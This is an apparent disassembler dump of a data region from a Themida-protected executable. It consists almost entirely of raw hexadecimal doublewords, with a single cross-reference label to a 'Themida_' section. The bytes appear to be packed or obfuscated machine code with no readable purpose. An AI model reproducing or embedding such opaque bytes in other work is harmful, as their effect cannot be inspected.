0Eh, 2903DE61h, 489A33ABh, 0B964B798h dd 9D8BE4ADh, 6102D91h, 0AD9D8B5Bh, 50061006h, 3489FA8Ah dd 0B6B86024h, 8B460255h, 1031C595h, 0B5FF6106h, 613C26Dh dd 0FFDF8B66h, 10162D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D62EBF27h dd 0BD8356C6h, 6101351h, 39840F00h, 0F000000h, 0E781DBBFh dd 46B40A15h, 50E9B796h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0B23EE046h, 1FD9D8Bh dd 9D230610h, 6100A49h, 0C26DB5FFh, 6A0613h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 6D9AC6C3h dd 0E04732Eh, 9D8BBA59h, 61027C1h, 1F71B589h, 95FF0610h dd 6100C19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 99C35545h, 78E3569Ah, 9BAB3BDh, 101D0D9Dh, 0F8BF6606h dd 6DB5FF18h, 10613C2h, 1009B995h, 2195FF06h, 0BB061016h dd 14175268h, 0F89BD83h, 0F020610h, 3984h, 60DA8B00h, 8B92D480h dd 858B61D3h, 61010C5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0CBC35747h, 8B66C5DEh, 0C6DFh, 8B1BD89h dd 85C70610h, 6102A25h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 28C35040h dd 8BD09620h, 0F1B531DFh, 0F06100Fh, 9FE9FEB7h, 6AFFFFF3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 94FCC357h, 0CDBD0B60h, 61061031h, 6AC18Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0BBDC62C3h, 0BD8B481Eh, 6100225h, 0F98D29h, 0EE90610h dd 99000000h, 2528CFh, 2 dup(0) dd 57BE900h, 17B70000h, 2BE158D4h, 0CC138F4h, 2BE057D3h dd 9BB3AEEh, 0EC180ECAh, 0CF8BCA7Eh, 0E864A548h, 0C682BD71h dd 0E763984Fh, 0B111F804h, 556BD8D1h, 7932CC58h, 97395044h dd 0AE55E458h, 550E8D79h, 0AF557420h, 0D2F18C78h, 439F233h dd 0AD1514EAh, 496DCC7Ch, 20F400EDh, 0AA9BBA67h, 363709CDh dd 5DC91A92h, 69F20706h, 47CE8AC5h, 689668A3h, 0CC6301C1h dd 7489E56Dh, 317213B2h, 0ABE69C1Fh, 0A05E7BF7h, 3DE47B36h dd 0CC0EB389h, 466EFEF1h, 463A1647h, 0C35206EAh, 6C3BE71Ch dd 6DCC15D3h, 29CC6354h, 336ACCE8h, 0F32CE158h, 0FFA423FFh dd 7552CEC2h, 76D3h, 0A9D73900h, 4E427B32h, 7C9F23D2h dd 0FB776DCCh, 79AE55DEh, 7C66DE8Dh, 18A76DCCh, 88835D79h dd 6DCC7C3Ah, 21A188DAh, 0C56DCC7Ch, 0A7708D69h, 336B3666h dd 146h, 7A328400h, 16DA453Ah, 0E4B184h, 45441A14h, 6DCCBFFDh dd 73401D19h, 0F5C496CDh, 5611552h, 0BB679E46h, 0E5E4A2B7h dd 5E110542h, 5B903702h, 1F069D7Eh, 0FF763269h, 96D37848h dd 3268FEBAh, 34533F7Eh, 0ECA1558Ch, 57F938D7h, 0F198C97Dh dd 6DCC7C51h, 0B99DB9B5h, 98CD7605h, 82E385C6h, 0C45DA07Ch dd 29E0F7A7h, 205304F0h, 6A996481h, 5209336Ah, 0E7895E9Fh dd 93h, 497E3225h, 0CC7CE062h, 4C28046Dh, 538C4158h, 8E700C9Fh dd 0CC7C279Bh, 8663BF6Dh, 75171EB5h, 0EF952436h, 432F681Dh dd 70E603DFh, 0DE15CB8Eh, 0A2192E32h, 1E9DAFEEh, 6C1A2F66h dd 637DBA6Dh, 0F0276F6Ah, 0C28EC0C9h, 3FB5A260h, 0C2802B8Ch dd 226DCC99h, 514D2A46h, 11D46B08h, 336A4ED0h, 4DB0h, 7E321A00h dd 58532D3Fh, 6DCC7CEAh, 8E4C050Ah, 15674707h, 106A1C31h dd 0B86CA349h, 6E149FBCh, 0D36C3F33h, 1453F53Ch, 8FCC7F3Ah dd 326604BAh, 0E45E4D7Ah, 6DCC7Ch, 5544024h, 6DCC7CB8h dd 44A1407Fh, 336B3569h, 149h, 0A9D7C300h, 0CC7C4002h dd 0B3C8A46Dh, 0FCAD8128h, 876BC7BBh, 83DE675h, 4343181Ch dd 0BA669B44h, 792D661Bh, 33D6AC62h, 0B022CEF2h, 0F45E6201h dd 0CA7FA63Dh, 31C81D91h, 30D9D0AAh, 0B467FC06h, 0A943B2B7h dd 0F6D36E89h, 5D7C2804h, 3EBD71A6h, 55F14785h, 4B201966h dd 942C7B27h, 0A5942304h, 0B8CFC304h, 3B20D415h, 6CF07D63h dd 0B34EF85Eh, 431DB01Ch, 0E094D578h, 0E423C584h, 949D3407h dd 79C9C0EBh, 9D9423CCh, 5729A5C1h, 0D1A6DB84h, 522C610Ah dd 0CCC57D2Ch, 45219423h, 0A85F7628h, 0B9CA7F73h, 2F641B1Ah dd 751AA17Bh, 915C2338h, 71397B85h, 180h, 0DA17CC8Fh, 972D4A26h dd 8BC4A9D7h, 0E758C881h, 46AD1504h, 0ED496DCCh, 75666D10h dd 2173725Bh, 0C44097E4h, 93B872A4h, 0AECB3995h, 7F25B4CAh dd 43783348h, 0A367FC6Bh, 3BCDBC7h, 7B578C33h, 5A8F38BFh dd 6005D4A6h, 0BDFCB027h, 0C3906DC9h, 5E3BE71Ch, 0C87FA63Dh dd 0E4A7B993h, 943C5F5Eh, 199DBAB6h, 7B128B66h, 8D40FB39h dd 23E6584Ch, 943C6B9Fh, 2D7FB77h, 4B4Eh, 42E97000h, 401D190Dh dd 1AC15C64h, 7CD94940h, 86FDEDCCh, 72EEA2E3h, 4FF3A24Eh dd 70EDCC7Ch, 1B30CFh, 5ECC01DBh, 0BF6CF987h, 9DBB0702h dd 0FF5BEDCCh, 37F206E3h, 6DCC9DABh, 0F57AC64Bh, 0EBFE71E1h dd 0B9D25307h, 2A000000h, 4328BD5Ch, 9B6CF0EFh, 68DAC1EEh dd 8C6DCC26h, 0EF9AB490h, 67FC568Ah, 2661057Ch, 26DAF67Ah dd 0B5001754h, 60DF6D57h, 0A08470A9h, 685C97C4h, 7C54E403h dd 0F62BD45Fh, 0D70CB342h, 0E68A512Bh, 6277FBA7h, 3CD31EA9h dd 0D76E5594h, 0EC60954Eh, 65A64712h, 0FDDEF588h, 42628E3h dd 0FDBC9E08h, 49390E49h, 0E9A239EDh, 7C77CBBEh, 8A8F9E10h dd 9E8376D4h, 2BAAC613h, 0EB473B78h, 49F8F507h, 8CC57C93h dd 43E6255Fh, 22C08229h, 48249E10h, 0D2617333h, 0DEFD1C33h dd 91F9F20Ch, 97DDC27Fh, 0E118D087h, 6F1C3135h, 9424A16Fh dd 5CE6A597h, 0B8800B27h, 862498BCh, 0CD15BD5Ch, 10EA8648h dd 5A84567Ah, 0FF3D8584h, 5DD96DCCh, 2EE27DEh, 5C62491Eh dd 6867F82Ah, 0CA81180Ch, 74471995h, 1752F8CEh, 0EEB076Bh dd 0BD699E45h, 7B2EB6EEh, 0A7E487FBh, 0EA27DCFBh, 927EB56Bh dd 2551F198h, 0B9B5BB63h, 6E52F192h, 0C46D049Bh, 0E372E61Bh dd 0BF5073Ch, 6325A220h, 11E642BBh, 94D17615h, 0A43BF6E0h dd 0A988C67Dh, 78CAC1FBh, 9CBB633Ah, 50409BC0h, 0B79BDC8Dh dd 0EF981F9Bh, 8DDC6BAh, 0E3000000h, 5875B458h, 326D5FCCh dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E38953h dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 3C685C24h, 8900006Fh dd 0EC682434h, 8900002Dh, 7B68243Ch, 8B0614ADh, 0C4812434h dd 4, 243C8B54h, 4C481h, 50560000h, 260022B8h, 24443174h dd 478F5804h, 8778108h, 74260022h, 5F2434FFh, 0FF04C483h dd 815E2434h, 4C4h, 0CD7EE900h, 47B7FFFBh, 2D20E5D6h, 0B285B833h dd 0C5030614h, 78A9E0FFh, 57C377ECh, 8A2828ECh, 0CD7C39F5h dd 6F423CFCh, 52ED0647h, 77970092h, 71EF1E28h, 11B753E0h dd 0CB35205Dh, 0EB5309EDh, 7B296ADDh, 4F5B06B7h, 9AF02B31h dd 3B3235A1h, 858D4054h, 61013B9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 84C35343h, 0E5742C11h, 8A90ABD6h dd 0FA8A50D9h, 51006A90h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0B843F847h, 698C174h dd 0BD8BFA30h, 6100909h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0BA58C6C3h, 0FE91D12h dd 0A4000000h, 0B234DCF5h, 9204F709h, 3BF22626h, 6ABD97h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1EC35646h dd 28859D8Bh, 858D0610h, 614B586h, 7832BF66h, 6A05C083h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 4C0BC357h, 5090FCCAh, 13E952h, 0F3F70000h dd 0A1E2D6Dh, 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh, 0B3310F39h dd 50585A46h, 0EE8h, 44386500h, 0A0690E54h, 7D014D13h dd 508307E9h, 0FFA8A52h, 5B585A31h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0A01546BEh dd 0D6F78166h, 8B006A3Ch, 102FE19Dh, 0F006A06h, 95FFFBBFh dd 6101D19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 7BC35343h, 36C3EF2h, 8BAC9837h, 102D019Dh, 0D88D8D06h dd 6A0613AFh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 4AEBC357h, 0D4FD301Fh, 0DE96FD3h dd 44000000h, 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 0BD89D1FFh dd 6101471h, 2209BD83h, 0F010610h, 7C85h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0CB8075A2h, 8B026AC9h, 0D98589F8h, 90061001h, 0FE8h dd 8B8F9E00h, 56A54C3Ch, 147601A4h, 0FFA17A9h, 0DE8h, 0ECD30300h dd 70CA5410h, 78376319h, 0C4BFE9E1h, 5F65384Ah, 0EE9505Bh dd 7000000h, 0C8368563h, 0A6EF2097h, 0C6DC9F6Fh dd 0BF0F905Ah, 9595FFFFh, 81061004h, 0C60E73DFh, 0ECDE952h db 2 dup(0) word_5969F6 dw 0E8h ; DATA XREF: Themida_:0054E59Co dd 5D000000h, 0B590ED81h, 85890614h, 6103131h, 4CC38166h dd 219D0143h, 8D06100Ch, 1399B685h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0CD715E7h dd 11E84Fh, 7A0B0000h, 0C0D249ECh, 120AACDEh, 3662C28Dh dd 890CB38Fh, 100779BDh, 0BF905F06h, 7298998Fh, 0A5BB6650h dd 6A90BDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0B529E4C3h, 6100E79h, 56B6BF66h, 35FF64h dd 80000000h, 896492C7h, 25h, 0B516000h, 101D318Dh, 13E95F06h dd 3C000000h, 94EB05E1h, 3CD3131Eh, 276B84F4h, 14BB2276h dd 0FF61029Ch, 10141985h, 15BD8906h, 6A061019h, 17860FFFh dd 0F000000h, 1184h, 0CE900h, 96330000h, 0FBD675F1h, 0D5B40441h dd 0B5FFECF0h, 61004E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 19C35343h, 13830F08h, 0E9000000h, 0Eh dd 52A0A2A4h, 6E473FA3h, 6A9C5DDh, 0B5897BF7h, 6100491h dd 61595FFh, 0F3E90610h, 0BF000000h, 166BE529h, 7E900B0h dd 34000000h, 0E5B0B5C8h, 70E61B1Ah, 1CA59D2Bh, 71E40610h dd 0DBD3BF66h, 830F613Ch, 0CAh, 850FB5B3h, 1, 0C8B60FF5h dd 18D9BD89h, 6BA0610h, 89000000h, 1009B19Dh, 60C18B06h dd 2079BD01h, 0DE90610h, 83000000h, 0B4F4AC50h, 0F541DAC5h dd 5DA0D377h, 4E8C161h, 0ECCCBF66h, 66E2F766h, 0FAA7EB81h dd 9D89C82Bh, 6102795h, 8BDAB70Fh, 4820FD1h, 66000000h dd 0E9EDCBBFh, 2, 858B05B7h, 6100069h, 83DE8B66h, 0C08307C0h dd 0FD03B00h, 1383h, 0E9EEB700h, 46h, 3139BD8Bh, 85890610h dd 6102EE9h, 418D8Bh, 0BD8B0610h, 6102A31h, 0F01E183h dd 2584h, 3A8EBF00h, 0A5830316h, 6100041h, 0FFBF0FFEh dd 699589h, 6E90610h, 44000000h, 0BF71625Fh, 0E9D3h, 0B58D0000h dd 61427DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0B1C35747h, 6C4275C5h, 27CB2127h, 23006A96h, 1015A1BDh dd 0C995FF06h, 6A061031h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 408C355h, 0AC97F48Dh dd 5E9h, 5CED9900h, 13B95BC2h, 8B000008h, 100C51BDh, 0FCE18306h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 97C35242h dd 81ECF231h, 8048A038h, 6AFC2ADFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 530EC355h dd 0C8C5B238h, 0B7B719DCh, 0B8A3h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 7E1644C3h dd 0EF981000h, 31FABF0Fh, 1006D9B5h, 6AD22B06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0ADD7C353h, 0E8D1C233h, 0E983D003h, 29F47504h, 100CA98Dh dd 5BD8B06h, 8A06100Fh, 880DDCh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5F50CCC3h dd 631CC41Eh, 0F9D46388h, 9F5958Bh, 11E80610h, 0D1000000h dd 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0CAC087Fh, 8B5FC6B3h dd 1023198Dh, 79EF8006h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 5F575818h, 51D9D03h, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E59ACEC3h dd 5EF171BCh, 83B3B5DDh, 101E29BDh, 840F0006h, 3Ch, 10C19D8Bh dd 0B80610h, 8D000000h, 104E858Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 611DCCA2h dd 0A7C5FBCAh, 56E1FF91h, 5BF8B70Fh, 22C1BD83h, 0F000610h dd 51984h, 0D0C78100h, 0BF59B0D7h, 6D0C627Eh, 22C1BD83h dd 0F010610h, 51C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0DDAD28DAh, 0C1BD8302h dd 3061022h, 4B9860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 17698FC3h, 1F16B7BAh dd 68BF8A2Ch, 600F2EECh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0E4C35040h, 89D98C66h, 1006D995h, 4E18006h dd 7E9h, 79B36A00h, 0D17227Ah, 840FC90Ah, 168h, 11E8h dd 0D9ECEA00h, 0CDBC012Ah, 679BDFD5h, 86D45A8Fh, 0B70F597Ah dd 858B5BD8h, 6102185h, 11FD8533h, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C30A7FC3h dd 2C4C9543h, 5290F521h, 505FDA8Ah, 714BEDBFh, 6A907Ch dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 7127BCC3h, 72C3EBCAh, 29AA99C7h, 10131D8Dh, 0BF0F5206h dd 6A5FDAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 47C35242h, 63FC1642h, 0E30EEEA8h, 0C99D8970h, 0E8061018h dd 4, 1F03FFh, 5650FA8Bh, 12E9h, 41543D00h, 1A606B2Fh dd 0DD851848h, 712CBCAAh, 5FA173C1h, 424448Bh, 8B65B3h dd 4741BB66h, 4244489h, 0F88B5250h, 585A310Fh, 158D8958h dd 0FF061008h, 1005D595h, 259D0106h, 89061016h, 13C26D85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0FB8B6014h, 6810Fh, 0B5890000h, 6101F85h dd 71950161h, 0E9061007h, 25Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0A4C35545h, 9EBACC11h, 0F9858957h dd 5B061009h, 0C265858Bh, 0F560613h, 68Ah, 0D9D8900h, 5B06100Eh dd 1800C7h, 0BE90000h, 0C3000000h, 0CB777D2Fh, 7DB32EADh dd 0B58B66D3h, 613C269h, 25858BF8h, 6A06100Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0A42BC350h, 29641B84h, 1005A585h, 6A068906h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0EAC8C357h, 0DECF1CD0h, 1A1397E1h, 56E4BF66h, 2185858Bh dd 9D890610h, 6101AC5h, 7E8h, 99B7900h, 5B3892CEh, 5FFAB70Fh dd 6A044689h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 8910C355h, 9D8B84F7h, 61022C5h dd 2AB9BD8Bh, 66500610h, 89EB13BFh, 6A2434h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CD8F70C3h dd 18E1BD23h, 0B5890610h, 6102F8Dh, 0C265B5FFh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0BDE525C3h, 0C810F1Eh, 0E8000000h, 6, 0A46F25D9h, 0E85FDB08h dd 4, 1F03FFh, 0C6B2CABFh, 0BB66502Fh, 448B8941h, 52500424h dd 0F98B5250h, 0CE8310Fh, 0D5000000h, 9C092921h, 6AF1E5E1h dd 5FA806C0h, 310F585Ah, 5850Fh, 0CBB0000h, 5A386816h dd 0E9008B58h, 6, 67DFD10Ch, 44895943h, 23580424h, 100829BDh dd 6D858D06h, 6A0613C2h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h dd 42000000h, 0FEAFC352h, 1664BE4Dh, 0CF81145Eh, 4FFF5E4Bh dd 0AADB8166h, 0FA8B90FAh, 0FB8B5650h, 6A905Fh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 1D2CE8C3h, 0E3CAD01h, 11E961h, 48590000h, 89465A91h dd 7CB59C1Dh, 56CE859h, 0FFF16588h, 1005D595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 636F7A64h, 44876ADh, 10E8614Dh, 0E6000000h, 3261755Ah dd 963B13E6h, 6CFD449h, 0BBBC564Dh, 43D69B8Dh, 0C185C75Bh dd 3061022h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 5C9BC353h, 0CD8F7030h dd 602BA876h, 8B12C880h, 10142D95h, 0BD836106h, 613C26Dh dd 54840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 86F2C355h, 6E6EC678h dd 1FD19D8Bh, 43E90610h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BC6EC351h dd 895B9030h, 0A1BD8BD8h, 50061027h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 0BD8BC08Bh, 6100B45h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C4C35141h dd 0C1BD8307h, 3061022h, 4DA850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 4DE6C4C3h dd 6ABF8036h, 8319EA7Ah, 13C26DBDh, 840F0006h, 4A8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h, 0F3C09DBAh dd 7DBD8BC4h, 0FF06102Fh, 13C26DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 1518F866h dd 1BA99D29h, 95FF0610h, 6102FA5h, 9E9h, 104C3900h, 260B08F4h dd 0B58B0E8Dh, 613C261h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0F8C35040h, 402ABE9Bh, 106C7F4h, 31000100h dd 1011B995h, 5ABF5006h, 891ACAD2h, 6A2434h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 74C008C3h dd 806E37A9h, 0B5FFB6E7h, 613C26Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 7DC35040h, 0AA2A486Ch, 0AB477243h dd 122595FFh, 0DB800610h, 61B58B9Fh, 6A0613C2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 89B9C356h, 10287985h, 0D1858B06h, 6A061021h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 35B0C353h, 8689DCE6h, 0C4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 27C35747h, 8B7A4F16h, 1010A1BDh dd 91BD8B06h, 8B061012h, 1009F595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 98037F50h dd 0EE9D268h, 0D88B66E4h, 6A04C283h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0FB51C352h dd 0DB57E85Ah, 142A8C7h, 101BE1B5h, 20508906h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 54C35343h, 2BFF1109h dd 0FBEB02EBh, 5BD8B44h, 8D06102Fh, 13D7C285h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 9E09EC5h, 101B61BDh, 0B8868906h, 81000000h, 0AFF9F7C7h dd 6A006A35h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 28A9C353h, 3681C292h, 147985ECh dd 191D9D8Bh, 0BF0F0610h, 6DB5FFD8h, 6A0613C2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 4704C353h, 3E50B9Dh, 0BF0639FEh, 7BC04666h, 49595FFh dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BD895CC3h, 6102005h, 6997BB50h, 34896F0Ah dd 0AE824h, 0E57D0000h, 0DA093F45h, 4259C6FDh, 8A5B529h dd 505F0610h, 870F60h, 8A000000h, 0FF5F61E3h, 13C26DB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0F98B615Fh, 162D95FFh, 14E90610h, 0B6000000h dd 68A796A1h, 0D582AF4Bh, 4560BCBEh, 90A78ECCh, 83386E48h dd 101351BDh, 840F0006h, 35h, 3161B589h, 50960610h, 810Fh dd 6A960000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 81AFC357h, 89261C99h, 1019159Dh dd 6DB5FF06h, 0E90613C2h, 10h, 2CB32FD9h, 8FE1663Eh, 628176B4h dd 0A867EEF3h, 0C1995FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 29FA61C3h, 49E44D7Ch dd 8B1541FAh, 0FD8D09D9h, 0FF06101Eh, 13C26DB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0E388E366h, 8B5B510Ah, 101DB19Dh, 2195FF06h, 66061016h dd 4CBEDB81h, 0F89BD83h, 0F020610h, 9884h, 0BE666000h dd 11E9FD8Eh, 4000000h, 9417F361h, 0E14A8DAAh, 0FB3F67CBh dd 3652E578h, 13E961h, 24EE0000h, 0E795842Eh, 0C3FA63C6h dd 0C9308B73h, 0F02D774Fh, 0C5858B94h, 6A061010h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 519AC356h, 0AC27B173h, 8BDF8BFDh, 100A2DBDh, 0C606h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FFC35242h dd 0E594E8D1h, 81C3E836h, 0AAF349CBh, 0BDA8B1Eh, 1030599Dh dd 2585C706h, 6102Ah, 0BF000000h, 65BCBA9h, 0FFF232E9h dd 0DA8B66FFh, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0AE5785C3h, 8BFC7244h, 8D9D8BF8h dd 8D061016h, 1013B985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 60735770h, 13E960h, 0FBE80000h dd 8AB676A3h, 0CF26AD93h, 5B9EEE38h, 70D7694Fh, 0A4BF66CCh dd 9D8B61E4h, 6102A15h, 2CC78161h, 9068D394h, 5E8h, 2BC81A00h dd 0FB8B1392h, 820F505Fh, 0Dh, 890F60h, 0B8000000h, 6588A3Fh dd 8B669061h, 8830FDEh, 50000000h, 21819D23h, 6A5F0610h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 622C37A7h, 0FF9D13F0h, 12B9BD8Bh, 0FE80610h dd 1E000000h, 0A23A6639h, 90FC5D66h, 0FB549F37h, 0CF80C47Fh dd 0B5895B47h, 61001C1h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0E47935C3h, 0CF310AC5h dd 0BF8A321Dh, 6C79D022h, 0C69B858Dh, 0BF660614h, 0C083431Fh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 19E3ADBEh, 90980FACh, 34B75250h, 5051310Fh dd 5A310F52h dd 585A5F58h, 60606050h, 61616061h, 4852BB66h, 8A0F9061h dd 0 dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 418B22C3h, 6ADBBF0Fh, 95FFFC00h, 6101D19h dd 0B7866ABFh, 8F51BB59h, 8D8D7067h, 613AFD8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A0C35242h, 5B1A1EBh dd 833C903Bh, 6AD1FFB4h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 1ED5C353h, 7C09C9E2h dd 0F4A89ADh, 118Dh, 9E800h, 10C00000h, 0C40807D8h, 8A0FB4D6h dd 83F85FD8h, 102209BDh, 850F0106h, 4Ah, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 0B6C35040h, 0CA05462Eh dd 6652026Ah, 5BCCEABBh, 90D88B66h, 0B26ACCBBh, 6690507Dh dd 4C29F381h, 49595FFh, 0B5310610h, 6100E61h, 1019D8Bh dd 0E2E90610h, 0E800000Dh, 0 dd 0A5ED815Dh, 90614C6h, 10069D8Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0E4FF84C8h dd 1465FD33h, 27C19D8Bh, 66520610h, 8D5BDF8Bh, 1399B685h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0A48C34A6h, 0EB5D0F17h, 525090CCh, 310FDE8Bh dd 0FB17BF66h, 6650585Ah, 6A90DF8Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B2B2C355h dd 62D159C7h, 0BD898FA3h, 61030E5h, 0A19FBF66h, 0D7DBD89h dd 0FF640610h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 64FF7040h, 2589h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 22429BC3h, 141985FFh, 890F0610h, 1Bh, 0FE8h, 60034700h dd 0A95C0202h, 7321BF0Fh, 17C52B01h, 27E1B589h, 6A5B0610h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0D0A6960Eh, 9D29AF98h, 6100A49h, 43F8EB81h dd 0B5FF6617h, 6101D89h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 78C35747h, 3224F2F9h, 